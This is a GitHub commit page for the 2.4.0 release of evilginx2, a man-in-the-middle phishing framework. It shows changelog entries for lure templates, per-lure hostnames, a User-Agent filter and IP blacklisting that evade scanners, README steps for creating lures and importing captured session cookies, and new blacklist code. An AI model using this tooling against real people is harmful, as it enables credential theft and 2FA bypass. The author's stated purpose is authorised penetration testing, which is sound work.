Skip to content

Commit 6e66a19

Browse files
committed
2.4.0 "Gone Phishing" update
1 parent cdb21aa commit 6e66a19

File tree

253 files changed

+25019
-87055
lines changed

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

253 files changed

+25019
-87055
lines changed

.gitignore

Lines changed: 6 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,6 @@
1-
/bin/
2-
/docs/
3-
/img/
4-
/release/
5-
/build_run.bat
1+
bin/
2+
docs/
3+
img/
4+
release/
5+
build/
6+
phishlets/test-*

CHANGELOG

Lines changed: 16 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,3 +1,19 @@
1+
2.4.0
2+
- Feature: Create and set up pre-phish HTML templates for your campaigns. Create your HTML file and place `{lure_url_html}` or `{lure_url_js}` in code to manage redirection to the phishing page with any form of user interaction. Command: `lures edit <id> template <template>`
3+
- Feature: Create customized hostnames for every phishing lure. Command: `lures edit <id> hostname <hostname>`.
4+
- Feature: Support for routing connection via SOCKS5 and HTTP(S) proxies. Command: `proxy`.
5+
- Feature: IP blacklist with automated IP address blacklisting and blocking on all or unauthorized requests. Command: `blacklist`
6+
- Feature: Custom parameters can now be embedded encrypted in the phishing url. Command: `lures get-url <id> param1=value1 param2="value2 with spaces"`.
7+
- Feature: Requests to phishing urls can now be rejected if User-Agent of the visitor doesn't match the whitelist regular expression filter for given lure. Command: `lures edit <id> ua_filter <regexp>`
8+
- List of custom parameters can now be imported directly from file (text, csv, json). Command: `lures get-url <id> import <params_file>`.
9+
- Generated phishing urls can now be exported to file (text, csv, json). Command: `lures get-url <id> import <params_file> export <export_file> <text|csv|json>`.
10+
- Fixed: Requesting LetsEncrypt certificates multiple times without restarting. Subsequent requests would result in "No embedded JWK in JWS header" error.
11+
- Removed setting custom parameters in lures options. Parameters will now only be sent encoded with the phishing url.
12+
- Added `with_params` option to `sub_filter` allowing to enable the sub_filter only when specific parameter was set with the phishing url.
13+
- Made command help screen easier to read.
14+
- Improved autofill for `lures edit` commands and switched positions of `<id>` and the variable name.
15+
- Increased the duration of whitelisting authorized connections for whole IP address from 15 seconds to 10 minutes.
16+
117
2.3.3
218
- Fixed: Multiple concurrent map writes when whitelisting IPs during heavy loads.
319

ISSUE_TEMPLATE.md

Lines changed: 6 additions & 14 deletions
Original file line numberDiff line numberDiff line change
@@ -1,16 +1,8 @@
1-
#### PLEASE READ THE POSTING GUIDELINES AND ANSWER THE QUESTION BEFORE POSTING, OTHERWISE ISSUE WILL BE CLOSED AND MARKED AS INVALID
1+
#### DO NOT ASK FOR PHISHLETS.
2+
#### DO NOT ASK FOR HELP CREATING PHISHLETS.
3+
#### DO NOT ASK TO FIX PHISHLETS.
4+
#### DO NOT ADVERTISE OR TRY TO SELL PHISHLETS.
25

3-
* I hereby declare the following issue is a **[tool specific question/bug report]** and it is **NOT** a help request about creating a phishlet.
4-
* I am fully aware that this is not a customer support portal, I can't demand answers and I'm aware I am using a free tool.
5-
* I am not going to use Evilginx to hax my girlfriend's account or use it for any other illegal purpose.
6-
* I am not trying to set up a domain on FreeNOM (also read the sentence above again).
7-
* I am not a robot.
8-
*(Sorry, if you are an adult and a professional and you had to read this.)*
9-
10-
Please type in "**I CONFIRM**" below if you confirm the sentences above or otherwise make some funny remark:
11-
12-
*<type_in_here>*
13-
14-
Thanks!
15-
--
6+
#### EXPECT A BAN OTHERWISE. THANK YOU!
167

8+
#### REPORT ONLY BUGS OR FEATURE SUGGESTIONS.

Makefile

Lines changed: 8 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -5,13 +5,15 @@ PACKAGES=core database log parser
55
all: build
66

77
build:
8-
@go build -o ./bin/$(TARGET) -mod=vendor
8+
@go build -o ./bin/$(TARGET) -mod=vendor
99

1010
clean:
11-
@go clean
12-
@rm -f ./bin/$(TARGET)
11+
@go clean
12+
@rm -f ./bin/$(TARGET)
1313

1414
install:
15-
@mkdir -p /usr/share/evilginx/phishlets
16-
@cp ./phishlets/* /usr/share/evilginx/phishlets/
17-
@cp ./bin/$(TARGET) /usr/local/bin
15+
@mkdir -p /usr/share/evilginx/phishlets
16+
@mkdir -p /usr/share/evilginx/templates
17+
@cp ./phishlets/* /usr/share/evilginx/phishlets/
18+
@cp ./templates/* /usr/share/evilginx/templates/
19+
@cp ./bin/$(TARGET) /usr/local/bin

README.md

Lines changed: 28 additions & 29 deletions
Original file line numberDiff line numberDiff line change
@@ -18,17 +18,22 @@ Present version is fully written in GO as a standalone application, which implem
1818

1919
I am very much aware that Evilginx can be used for nefarious purposes. This work is merely a demonstration of what adept attackers can do. It is the defender's responsibility to take such attacks into consideration and find ways to protect their users against this type of phishing attacks. Evilginx should be used only in legitimate penetration testing assignments with written permission from to-be-phished parties.
2020

21-
## Video
21+
## Write-up
2222

23-
See **evilginx2** in action here:
23+
If you want to learn more about this phishing technique, I've published extensive blog posts about **evilginx2** here:
2424

25-
[![Evilginx Demo](https://i.imgur.com/80jcbDl.png)](https://vimeo.com/281220095)
25+
[Evilginx 2.0 - Release](https://breakdev.org/evilginx-2-next-generation-of-phishing-2fa-tokens)
26+
[Evilginx 2.1 - First Update](https://breakdev.org/evilginx-2-1-the-first-post-release-update/)
27+
[Evilginx 2.2 - Jolly Winter Update](https://breakdev.org/evilginx-2-2-jolly-winter-update/)
28+
[Evilginx 2.3 - Phisherman's Dream](https://breakdev.org/evilginx-2-3-phishermans-dream/)
29+
[Evilginx 2.4 - Gone Phishing](breakdev.org/evilginx-2-4-gone-phishing/)
2630

27-
## Write-up
31+
## Video guide
2832

29-
If you want to learn more about this phishing technique, I've published an extensive blog post about **evilginx2** here:
33+
Take a look at the fantastic videos made by Luke Turvey ([@TurvSec](https://twitter.com/TurvSec)), which fully explain how to get started using **evilginx2**.
3034

31-
https://breakdev.org/evilginx-2-next-generation-of-phishing-2fa-tokens
35+
[![How to phish for passwords and bypass 2FA - Luke Turvey](https://img.youtube.com/vi/B3CycQgkVY0/0.jpg)](https://www.youtube.com/watch?v=B3CycQgkVY0)
36+
[![Creating custom phishlets for evilginx2 (2FA Bypass) - Luke Turvey](https://img.youtube.com/vi/8mfsF5Qdqw0/0.jpg)](https://www.youtube.com/watch?v=8mfsF5Qdqw0)
3237

3338
## Phishlet Masters - Hall of Fame
3439

@@ -56,22 +61,14 @@ Evilginx runs very well on the most basic Debian 8 VPS.
5661

5762
#### Installing from source
5863

59-
In order to compile from source, make sure you have installed **GO** of version at least **1.14.0** (get it from [here](https://golang.org/doc/install)) and that `$GOPATH` environment variable is set up properly (def. `$HOME/go`).
64+
In order to compile from source, make sure you have installed **GO** of version at least **1.14.0** (get it from [here](https://golang.org/doc/install)).
6065

61-
After installation, add this to your `~/.profile`, assuming that you installed **GO** in `/usr/local/go`:
66+
When you have GO installed, type in the following:
6267

6368
```
64-
export GOPATH=$HOME/go
65-
export PATH=$PATH:/usr/local/go/bin:$GOPATH/bin
66-
```
67-
Then load it with `source ~/.profiles`.
68-
69-
Now you should be ready to install **evilginx2**. Follow these instructions:
70-
71-
```
72-
sudo apt-get install git make
73-
go get -u github.com/kgretzky/evilginx2
74-
cd $GOPATH/src/github.com/kgretzky/evilginx2
69+
sudo apt-get -y install git make
70+
git clone github.com/kgretzky/evilginx2
71+
cd evilginx2
7572
make
7673
```
7774

@@ -105,8 +102,8 @@ Phishlets are loaded within the container at `/app/phishlets`, which can be moun
105102

106103
Grab the package you want from [here](https://github.com/kgretzky/evilginx2/releases) and drop it on your box. Then do:
107104
```
108-
unzip <package_name>.zip -d <package_name>
109-
cd <package_name>
105+
tar zxvf evilginx-linux-amd64.tar.gz
106+
cd evilginx
110107
```
111108

112109
If you want to do a system-wide install, use the install script with root privileges:
@@ -127,14 +124,20 @@ sudo ./evilginx
127124

128125
By default, **evilginx2** will look for phishlets in `./phishlets/` directory and later in `/usr/share/evilginx/phishlets/`. If you want to specify a custom path to load phishlets from, use the `-p <phishlets_dir_path>` parameter when launching the tool.
129126

127+
By default, **evilginx2** will look for HTML temapltes in `./templates/` directory and later in `/usr/share/evilginx/templates/`. If you want to specify a custom path to load HTML templates from, use the `-t <templates_dir_path>` parameter when launching the tool.
128+
130129
```
131130
Usage of ./evilginx:
131+
-c string
132+
Configuration directory path
132133
-debug
133134
Enable debug output
134135
-developer
135136
Enable developer mode (generates self-signed certificates for all hostnames)
136137
-p string
137138
Phishlets directory path
139+
-t string
140+
HTML templates directory path
138141
```
139142

140143
You should see **evilginx2** logo with a prompt to enter commands. Type `help` or `help <command>` if you want to see available commands or more detailed information on them.
@@ -168,11 +171,11 @@ phishlets enable linkedin
168171
Your phishing site is now live. Think of the URL, you want the victim to be redirected to on successful login and get the phishing URL like this (victim will be redirected to `https://www.google.com`):
169172
```
170173
lures create linkedin
171-
lures edit redirect_url 0 https://www.google.com
174+
lures edit 0 redirect_url https://www.google.com
172175
lures get-url 0
173176
```
174177

175-
Running phishlets will only respond to tokenized links, so any scanners who scan your main domain will be redirected to URL specified as `redirect_url` under `config`. If you want to hide your phishlet and make it not respond even to valid tokenized phishing URLs, use `phishlet hide/unhide <phishlet>` command.
178+
Running phishlets will only respond to phishing links generating for specific lures, so any scanners who scan your main domain will be redirected to URL specified as `redirect_url` under `config`. If you want to hide your phishlet and make it not respond even to valid lure phishing URLs, use `phishlet hide/unhide <phishlet>` command.
176179

177180
You can monitor captured credentials and session cookies with:
178181
```
@@ -186,15 +189,11 @@ sessions <id>
186189

187190
The captured session cookie can be copied and imported into Chrome browser, using [EditThisCookie](https://chrome.google.com/webstore/detail/editthiscookie/fngmhnnpilhplaeedifhccceomclgfbg?hl=en) extension.
188191

189-
**Important!** If you want **evilginx2** to continue running after you log out from your server, you should run it inside a `screen` session.
192+
**Important!** If you want **evilginx2** to continue running after you log out from your server, you should run it inside a `screen` or `tmux` session.
190193

191194
## Support
192195

193-
If you want to report issues with the tool, please do it by submitting a pull request. Thank you!
194-
195-
## Credits
196-
197-
Huge thanks to Simone Margaritelli ([@evilsocket](https://twitter.com/evilsocket)) for [bettercap](https://github.com/bettercap/bettercap) and inspiring me to learn GO and rewrite the tool in that language!
196+
I DO NOT offer support for providing or creating phishlets. I will also NOT help you with creation of your own phishlets. There are many phishlets provided as examples, which you can use to create your own.
198197

199198
## License
200199

core/banner.go

Lines changed: 10 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -8,7 +8,7 @@ import (
88
)
99

1010
const (
11-
VERSION = "2.3.3"
11+
VERSION = "2.4.0"
1212
)
1313

1414
func putAsciiArt(s string) {
@@ -54,6 +54,12 @@ func printLogo(s string) {
5454
color.Unset()
5555
}
5656

57+
func printUpdateName() {
58+
nameClr := color.New(color.FgHiRed)
59+
txt := nameClr.Sprintf(" - -- Gone Phishing -- -")
60+
fmt.Fprintf(color.Output, "%s", txt)
61+
}
62+
5763
func printOneliner1() {
5864
handleClr := color.New(color.FgHiBlue)
5965
versionClr := color.New(color.FgGreen)
@@ -95,9 +101,11 @@ func Banner() {
95101
fmt.Println()
96102
putAsciiArt(" @@@@@@@@@@@@@@@@@@@@@@@@@@@@@ \n")
97103
putAsciiArt(" @@@@@WW@@@WW@@WWW@@WW@@@WW@@@@@ ")
98-
printOneliner2()
104+
printUpdateName()
99105
fmt.Println()
100106
putAsciiArt(" @@@@@@WW@@@WW@@WWW@@WW@@@WW@@@@@@ \n")
107+
//printOneliner2()
108+
//fmt.Println()
101109
putAsciiArt("_ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ _")
102110
printOneliner1()
103111
fmt.Println()

core/blacklist.go

Lines changed: 120 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,120 @@
1+
package core
2+
3+
import (
4+
"bufio"
5+
"fmt"
6+
"net"
7+
"os"
8+
"strings"
9+
10+
"github.com/kgretzky/evilginx2/log"
11+
)
12+
13+
const (
14+
BLACKLIST_MODE_FULL = 0
15+
BLACKLIST_MODE_UNAUTH = 1
16+
BLACKLIST_MODE_OFF = 2
17+
)
18+
19+
type BlockIP struct {
20+
ipv4 net.IP
21+
mask *net.IPNet
22+
}
23+
24+
type Blacklist struct {
25+
ips map[string]*BlockIP
26+
masks []*BlockIP
27+
configPath string
28+
mode int
29+
}
30+
31+
func NewBlacklist(path string) (*Blacklist, error) {
32+
f, err := os.OpenFile(path, os.O_CREATE|os.O_RDONLY, 0644)
33+
if err != nil {
34+
return nil, err
35+
}
36+
defer f.Close()
37+
38+
bl := &Blacklist{
39+
ips: make(map[string]*BlockIP),
40+
configPath: path,
41+
mode: BLACKLIST_MODE_OFF,
42+
}
43+
44+
fs := bufio.NewScanner(f)
45+
fs.Split(bufio.ScanLines)
46+
47+
for fs.Scan() {
48+
l := fs.Text()
49+
// remove comments
50+
if n := strings.Index(l, ";"); n > -1 {
51+
l = l[:n]
52+
}
53+
l = strings.Trim(l, " ")
54+
55+
if len(l) > 0 {
56+
if strings.Contains(l, "/") {
57+
ipv4, mask, err := net.ParseCIDR(l)
58+
if err == nil {
59+
bl.masks = append(bl.masks, &BlockIP{ipv4: ipv4, mask: mask})
60+
} else {
61+
log.Error("blacklist: invalid ip/mask address: %s", l)
62+
}
63+
} else {
64+
ipv4 := net.ParseIP(l)
65+
if ipv4 != nil {
66+
bl.ips[ipv4.String()] = &BlockIP{ipv4: ipv4, mask: nil}
67+
} else {
68+
log.Error("blacklist: invalid ip address: %s", l)
69+
}
70+
}
71+
}
72+
}
73+
74+
log.Info("blacklist: loaded %d ip addresses or ip masks", len(bl.ips)+len(bl.masks))
75+
return bl, nil
76+
}
77+
78+
func (bl *Blacklist) AddIP(ip string) error {
79+
if bl.IsBlacklisted(ip) {
80+
return nil
81+
}
82+
83+
ipv4 := net.ParseIP(ip)
84+
if ipv4 != nil {
85+
bl.ips[ipv4.String()] = &BlockIP{ipv4: ipv4, mask: nil}
86+
} else {
87+
return fmt.Errorf("blacklist: invalid ip address: %s", ip)
88+
}
89+
90+
// write to file
91+
f, err := os.OpenFile(bl.configPath, os.O_APPEND|os.O_WRONLY, 0644)
92+
if err != nil {
93+
return err
94+
}
95+
defer f.Close()
96+
97+
_, err = f.WriteString(ipv4.String() + "\n")
98+
if err != nil {
99+
return err
100+
}
101+
102+
return nil
103+
}
104+
105+
func (bl *Blacklist) IsBlacklisted(ip string) bool {
106+
ipv4 := net.ParseIP(ip)
107+
if ipv4 == nil {
108+
return false
109+
}
110+
111+
if _, ok := bl.ips[ip]; ok {
112+
return true
113+
}
114+
for _, m := range bl.masks {
115+
if m.mask != nil && m.mask.Contains(ipv4) {
116+
return true
117+
}
118+
}
119+
return false
120+
}

0 commit comments

Comments
 (0)